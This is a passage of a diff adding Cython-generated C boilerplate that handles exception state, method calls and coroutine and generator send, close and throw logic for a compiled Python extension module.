Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + 